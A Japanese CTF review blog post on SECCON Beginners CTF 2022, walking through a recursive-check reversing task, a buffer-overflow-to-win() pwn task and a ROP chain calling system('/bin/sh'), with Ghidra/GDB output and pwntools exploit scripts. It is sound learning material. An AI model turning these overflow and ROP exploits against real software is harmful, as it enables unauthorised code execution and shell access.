CTF訂正帳①

SECCON beginners CTF2022に参加したので、そのことを書いていきます。

主旨

CTFを解く時、あとから振り返ると「なんでここできたんだ?」みたいになりがちで一生ワナビーみたいな気分がして悔しいので、問題を見たときに何を考えていたのか、その考えの何が間違っていたのかを記録して復習することにしました。そこでwriteupというよりは考える過程を記録して復習の材料にしたり、アンチパターンにしたいと思います(テストの訂正ノートのようなものです)。考えていたことをいちいち書き起こしているのでやや冗長になっています。なお、自分が関心のあるジャンルはreverseとpwnでこれらの問題を中心に解いたので、cryptoとwebについては記載しておりません。

取り組んだ問題

Quiz(Reversing)(振り返りの余地がないので割愛)
Recursive(Reversing)
beginnersBof(Pwnable)
raindrop(Pwnable)

reversing

Recursive

突然フラグを聞かれて回答して間違ってるぞと言われます(それはそう)。まずは内部でどんな処理をしているのか追っていきます。まずはghidraでデコンパイルして概要を掴みます。mainでフラグの入力を要求されたあとはcheck関数に入り、checkは再帰的に呼び出されることがわかりました。ちなみにGhidraによるcheck関数のデコンパイル結果はこちら

undefined8 check(char *param_1,int param_2)

{
  int iVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  char *pcVar5;
  
  sVar4 = strlen(param_1);
  iVar3 = (int)sVar4;
  if (iVar3 == 1) {
    if (table[param_2] != *param_1) {
      return 1;
    }
  }
  else {
    iVar1 = iVar3 / 2;
    pcVar5 = (char *)malloc((long)iVar1);
    strncpy(pcVar5,param_1,(long)iVar1);
    iVar2 = check(pcVar5,param_2);
    if (iVar2 == 1) {
      return 1;
    }
    pcVar5 = (char *)malloc((long)(iVar3 - iVar1));
    strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1));
    iVar3 = check(pcVar5,iVar1 * iVar1 + param_2);
    if (iVar3 == 1) {
      return 1;
    }
  }
  return 0;
}

また、checkの戻り値が1だとincorrectになることがわかるので、そうならないための条件を探します。この様子では最終的にtable[param2] == *param1であれば0を返してくれそうです。しかし、そもそもフラグを出力してくれそうな処理が一つもありません。ここで、「何らかの方法でこのバイナリファイルの中にあるtable[param2]の内容を読み出しさえすればいいのでは」という方針が立ちます。ではGDBで解析していきます。最初に考えたのはcheck関数とif(table[param2] == *param1)の判定を行うところにブレークポイントを張って実行し、レジスタ値などを書き換えながら実行を進め、incorrectにならないようにtableの内容を読み出していくという方法です。 ここで少し脇道にそれますが、checkに入ったところでディスアセンブルしてcheck関数の中身を見ると、tableのアドレスが書いてあります。

(gdb) disas
Dump of assembler code for function check:
   0x0000555555555280 <+0>:   endbr64 
   0x0000555555555284 <+4>:   push   rbp
   0x0000555555555285 <+5>:   mov    rbp,rsp
   0x0000555555555288 <+8>:   sub    rsp,0x30
   0x000055555555528c <+12>:  mov    QWORD PTR [rbp-0x28],rdi
   0x0000555555555290 <+16>:  mov    DWORD PTR [rbp-0x2c],esi
   0x0000555555555293 <+19>:  mov    rax,QWORD PTR [rbp-0x28]
   0x0000555555555297 <+23>:  mov    rdi,rax
   0x000055555555529a <+26>:  call   0x5555555550d0 <strlen@plt>
   0x000055555555529f <+31>:  mov    DWORD PTR [rbp-0x1c],eax
   0x00005555555552a2 <+34>:  cmp    DWORD PTR [rbp-0x1c],0x1
   0x00005555555552a6 <+38>:  jne    0x5555555552d1 <check+81>
   0x00005555555552a8 <+40>:  mov    eax,DWORD PTR [rbp-0x2c]
   0x00005555555552ab <+43>:  cdqe   
   0x00005555555552ad <+45>:  lea    rdx,[rip+0x2d6c]        # 0x555555558020 <table>

横着しようとしてここのデータの読み出しを実行してみたのですが、なんとなくフラグっぽい文字列が見えます。

(gdb) x/s 0x555555558020
0x555555558020 <table>:   "ct`*f4(+bc95\".81b{hmr3c/}r@:{&;514od*<h,n'dmxw?leg(yo)ne+j-{(`q/rr3|($0+5s.z{_ncaur${s1v5%!p)h!q't<=l@_8h93_woc4ld%>?cba<dagx|l<b/y,y`k-7{=;{&8,8u5$kkc}@7q@<tm03:&,f1vyb'8%dyl2(g?717q#u>fw()voo$6g):)_"...

ここでフラグっぽいが明確に違う文字列が出てくるのでcheck関数の再帰呼び出しと条件式について再考することになります。ここで何すればいいんだろう...となりましたが手か足は出していきます(gdbブレークポイントをむちゃくちゃ張って、レジスタを書き換えて処理を進める虚無作業など活動を多岐に渡る...。)すると、そもそもparam1はcharなので1文字ですから、文字列の中から毎回1文字ずつ取得して検証しているよねということが先程考えたgdbでいちいち条件分岐に使われる値を読み出していく作業をしているうちにわかりました(遅い)。では、「checkを再実装してif(table[param2] == *param1)のタイミングで1文字ずつ出力すればよい」という考えに至ります。tableの中から文字列が取得されることはわかっており、デコンパイルしてアルゴリズムもわかっていますからあとは書くだけです。tableの内容についてはghidraの出力結果をコピペしていらない部分をちまちま消しました。再実装にあたってghidraのデコンパイル結果と書き味が違う点は2点です。再実装はtableの中から正解の文字列を探すのが目的で、正解を出力させる行為なのでバリデーションの必要がありません。したがって、iVar3==1のときは文字の出力だけさせてif文を抜けます。すると勝手にreturn 0してくれるのでわざわざifブロックにreturn文も書きません、ここが1点目。もう1点はelse内で実行するcheck関数をif文に組み込んだ点です。5億年ぶりにpythonを書いたため非常に下手くそな書き方になってしまった感がありますが一応フラグが出力されます。

table = [0x63,    0x74, 0x60, 0x2a,  0x66,  0x34,  0x28,  0x2b,
0x62,  0x63,  0x39,  0x35,  0x22,  0x2e,  0x38,  0x31,
0x62,  0x7b,  0x68,  0x6d,  0x72,  0x33,  0x63,  0x2f,
0x7d,  0x72,  0x40,  0x3a,  0x7b,  0x26,  0x3b,  0x35,
0x31,  0x34,  0x6f,  0x64,  0x2a,  0x3c,  0x68,  0x2c,
0x6e,  0x27,  0x64,  0x6d,  0x78,  0x77,  0x3f,  0x6c,
0x65,  0x67,  0x28,  0x79,  0x6f,  0x29,  0x6e,  0x65,
0x2b,  0x6a,  0x2d,  0x7b,  0x28,  0x60,  0x71,  0x2f,
0x72,  0x72,  0x33,  0x7c,  0x28,  0x24,  0x30,  0x2b,
0x35,  0x73,  0x2e,  0x7a,  0x7b,  0x5f,  0x6e,  0x63,
0x61,  0x75,  0x72,  0x24,  0x7b,  0x73,  0x31,  0x76,
0x35,  0x25,  0x21,  0x70,  0x29,  0x68,  0x21,  0x71,
0x27,  0x74,  0x3c,  0x3d,  0x6c,  0x40,  0x5f,  0x38,
0x68,  0x39,  0x33,  0x5f,  0x77,  0x6f,  0x63,  0x34,
0x6c,  0x64,  0x25,  0x3e,  0x3f,  0x63,  0x62,  0x61,
0x3c,  0x64,  0x61,  0x67,  0x78,  0x7c,  0x6c,  0x3c,
0x62,  0x2f,  0x79,  0x2c,  0x79,  0x60,  0x6b,  0x2d,
0x37,  0x7b,  0x3d,  0x3b,  0x7b,  0x26,  0x38,  0x2c,
0x38,  0x75,  0x35,  0x24,  0x6b,  0x6b,  0x63,  0x7d,
0x40,  0x37,  0x71,  0x40,  0x3c,  0x74,  0x6d,  0x30,
0x33,  0x3a,  0x26,  0x2c,  0x66,  0x31,  0x76,  0x79,
0x62,  0x27,  0x38,  0x25,  0x64,  0x79,  0x6c,  0x32,
0x28,  0x67,  0x3f,  0x37,  0x31,  0x37,  0x71,  0x23,
0x75,  0x3e,  0x66,  0x77,  0x28,  0x29,  0x76,  0x6f,
0x6f,  0x24,  0x36,  0x67,  0x29,  0x3a,  0x29,  0x5f,
0x63,  0x5f,  0x2b,  0x38,  0x76,  0x2e,  0x67,  0x62,
0x6d,  0x28,  0x25,  0x24,  0x77,  0x28,  0x3c,  0x68,
0x3a,  0x31,  0x21,  0x63,  0x27,  0x72,  0x75,  0x76,
0x7d,  0x40,  0x33,  0x60,  0x79,  0x61,  0x21,  0x72,
0x35,  0x26,  0x3b,  0x35,  0x7a,  0x5f,  0x6f,  0x67,
0x6d,  0x30,  0x61,  0x39,  0x63,  0x32,  0x33,  0x73,
0x6d,  0x77,  0x2d,  0x2e,  0x69,  0x23,  0x7c,  0x77,
0x7b,  0x38,  0x6b,  0x65,  0x70,  0x66,  0x76,  0x77,
0x3a,  0x33,  0x7c,  0x33,  0x66,  0x35,  0x3c,  0x65,
0x40,  0x3a,  0x7d,  0x2a,  0x2c,  0x71,  0x3e,  0x73,
0x67,  0x21,  0x62,  0x64,  0x6b,  0x72,  0x30,  0x78,
0x37,  0x40,  0x3e,  0x68,  0x2f,  0x35,  0x2a,  0x68,
0x69,  0x3c,  0x37,  0x34,  0x39,  0x27,  0x7c,  0x7b,
0x29,  0x73,  0x6a,  0x31,  0x3b,  0x30,  0x2c,  0x24,
0x69,  0x67,  0x26,  0x76,  0x29,  0x3d,  0x74,  0x30,
0x66,  0x6e,  0x6b,  0x7c,  0x30,  0x33,  0x6a,  0x22,
0x7d,  0x37,  0x72,  0x7b,  0x7d,  0x74,  0x69,  0x7d,
0x3f,  0x5f,  0x3c,  0x73,  0x77,  0x78,  0x6a,  0x75,
0x31,  0x6b,  0x21,  0x6c,  0x26,  0x64,  0x62,  0x21,
0x6a,  0x3a,  0x7d,  0x21,  0x7a,  0x7d,  0x36,  0x2a,
0x60,  0x31,  0x5f,  0x7b,  0x66,  0x31,  0x73,  0x40,
0x33,  0x64,  0x2c,  0x76,  0x69,  0x6f,  0x34,  0x35,
0x3c,  0x5f,  0x34,  0x76,  0x63,  0x5f,  0x76,  0x33,
0x3e,  0x68,  0x75,  0x33,  0x3e,  0x2b,  0x62,  0x79,
0x76,  0x71,  0x23,  0x23,  0x40,  0x66,  0x2b,  0x29,
0x6c,  0x63,  0x39,  0x31,  0x77,  0x2b,  0x39,  0x69,
0x37,  0x23,  0x76,  0x3c,  0x72,  0x3b,  0x72,  0x72,
0x24,  0x75,  0x40,  0x28,  0x61,  0x74,  0x3e,  0x76,
0x6e,  0x3a,  0x37,  0x62,  0x60,  0x6a,  0x73,  0x6d,
0x67,  0x36,  0x6d,  0x79,  0x7b,  0x2b,  0x39,  0x6d,
0x5f,  0x2d,  0x72,  0x79,  0x70,  0x70,  0x5f,  0x75,
0x35,  0x6e,  0x2a,  0x36,  0x2e,  0x7d,  0x66,  0x38,
0x70,  0x70,  0x67,  0x3c,  0x6d,  0x2d,  0x26,  0x71,
0x71,  0x35,  0x6b,  0x33,  0x66,  0x3f,  0x3d,  0x75,
0x31,  0x7d,  0x6d,  0x5f,  0x3f,  0x6e,  0x39,  0x3c,
0x7c,  0x65,  0x74,  0x2a,  0x2d,  0x2f,  0x25,  0x66,
0x67,  0x68,  0x2e,  0x31,  0x6d,  0x28,  0x40,  0x5f,
0x33,  0x76,  0x66,  0x34,  0x69,  0x28,  0x6e,  0x29,
0x73,  0x32,  0x6a,  0x76,  0x67,  0x30,  0x6d,  0x34]
flagIdx = []
dummy = 'a'*0x26
flag = []

def check(param1, param2):
  global flag
  iVar3 = len(param1)
  if iVar3 == 1:
    flag.append(table[param2])
  else :
    iVar1 = int(iVar3/2)
    if not check(param1[:iVar1], param2):
      return False
    if not check(param1[iVar1:],iVar1 * iVar1 + param2):
      return False
  return True

check(dummy,0)

print("Result length: " + str(len(flag)))
answer = ""
for i in flag:
  hoge = i.to_bytes(2,'big')
  answer += hoge.decode('ASCII')
print("Flag: "+answer)

pwnable

beginnersBof

典型的なBOFです。まずは配布されたsrc.cから脆弱性っぽいものを探していきます。具体的には値をfgetsなどでコピーしているような処理です。すると29行目にfgetsがあります。さらに、ここには記載していませんがソースコード全体を読めばflag.txtをopenして内容をreadして出力するwin関数があります。

int main() { //src.c
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
        ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

ここまでの情報で「"How long is your name" と聞かれたらスタックサイズを超える容量を指定し、nameの入力によりターンアドレスに該当する領域にwin関数のアドレスを書き込めばいけるはず」という方針が立ちます。となればやることは何バイト埋めればよいかの特定とwin関数のアドレスの特定です。gdbを立ち上げディスアセンブルします。

(gdb) disas
Dump of assembler code for function main
   0x0000000000401263 <+0>:     push   rbp
   0x0000000000401264 <+1>:     mov    rbp,rsp
   0x0000000000401267 <+4>:     sub    rsp,0x20

なんとなくスタックサイズが0x20っぽそうなので、rbpの大きさの0x8を足して、0x28 byteだけ埋めれば次はwin関数のアドレスを入れればリターンアドレスの書き換えができてwin関数を呼んでくれるはずという推測のもとできたプログラムがこちら。(ちなみに、ちゃんとやるならディスアセンブルの結果を見て、ダミーを書き込むbufの先頭アドレスを確認してからオフセットを計算するべきなはずです多分)

from pwn import *

binfile = './chall'
e = ELF(binfile)

#pc = connect('beginnersbof.quals.beginners.seccon.jp',9000)
pc = process("./chall")

pc.sendlineafter(b"name?\n",b"50")

payload = b'A'* 0x28
payload += p64(e.symbols["win"])

pc.sendlineafter(b"name?\n" ,payload)

pc.interactive()

raindrop

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

ROPですね。名前から自明なようですが脆弱性を含むのはvuln関数です。BUFF_SIZEが0x10であるのに対し、readで0x30読んでしまうという脆弱性を利用してスタックオーバーフローを狙いリターンアドレスを書き換えてシェルを狙います。rbpがあるので、リターンアドレス以降の0x18バイトを書き換えることができます。ROPでやりたいことはシェルを呼び出すように仕向けることです。そのためには"/bin/sh"を引数としてsystemやexecveなどを呼び出す必要があります。systemを呼び出す命令についてはhelp関数内でsystemが呼ばれていますね。gdbでdisas helpして0x00000000004011e5がその部分であることがわかります。そして、「引数を渡す」というのは、x64では以下のようにして行う必要があります。

  1. 第 1 引数 を rdi に設定
  2. 第 2 引数 を rsi に設定
  3. 第 3 引数 を rdx に設定
  4. 第 4 引数 を r10 に設定
  5. 第 5 引数 を r8 に設定
  6. 第 6 引数 を r9 に設定

ちなみに、システムコール命令を使うならrax にシステムコール番号を設定して syscall を実行するわけですが今回はsystem関数のアドレスがわかるので今回は使用しません。では問題に戻りましょう。引数を渡すのに使える命令をROPgadgetで探します。ここではsyscallの引数として"/bin/sh"を渡せばいいわけですから、"/bin/sh"の文字列はエクスプロイトコードのなかで用意するとして、それを第一引数にするにはpop rdi ; retを呼べばよいです。そして欠けている情報がもう一つ、「popしてrdiに渡す"/bin/sh"のアドレス」です。問題の出力でsaved rbpが書いてくれているので、ここからスタックサイズを引けばスタックの先頭アドレスがわかるので、ここに"/bin/sh"を格納しておけばよいです。ごちゃごちゃしてきましたが、結局このような積み方をすればよいはずです。

addr value
saved rbp-0x20 "/bin/sh"
... dummy
saved rbp dummy
saved ret addr 0x0000000000401453 ( pop rdi ; ret)
saved ret addr + 0x8 "/bin/sh"のアドレス
saved ret addr + 0x16 0x00000000004011e5 (system関数のアドレス)

あとはこのようなペイロードを送りつけるプログラムを書いていきます。saved rbpは実行毎に変わるので実行結果から取得する必要があります。

from pwn import *

pc = process("./chall")

pc.recvuntil(b"000002 | ")
saved_rbp = int(pc.recv(18), 16)
print(hex(saved_rbp))
binsh_addr = saved_rbp - 0x20
pop_rdi = 0x0000000000401453
system_addr = 0x00000000004011e5

payload = b'/bin/sh\x00'
payload += b'a' * 16 # stack_show()の実行結果から数えました。
# 0x30...読み込むサイズ、0x10...バッファのサイズ、0x8...アドレスのサイズなので
# payload += b'a' * (0x30 - 0x10 - 0x8 - len(payload) とかでもいいですね

payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
pc.sendafter(b'understand?\n', payload)
pc.interactive()

実行結果は以下のようになり、シェルが取れます。saved ret addrのvalueが、pop rdi; retのアドレスになっているのがポイントです。

[Index] |[Value]             
========+===================
 000000 | 0x0068732f6e69622f  <- buf
 000001 | 0x6161616161616161 
 000002 | 0x6161616161616161  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00007ffe13a7b8b0 

感想

pwnableについては初心者向けのCTFにおいてはスタック系の問題は見当がつくようになってきたのでヒープ系の問題にも手を出していきたいです(pwnはなんとなくロードマップみたいなものを意識できるようになってきたので常設でも挑戦する問題にあたりがつけられそうです)。reversingはまだ出たとこ勝負な感じがあります。とりあえずgdbとghidraは手足のように扱えるようになっておくべき...。コンテスト中に取り組んだのはこの4問だけでした。そのうち解ききれなかった問題も理解できたら解説をまとめてアップしようかなと思います(書けたら書く)。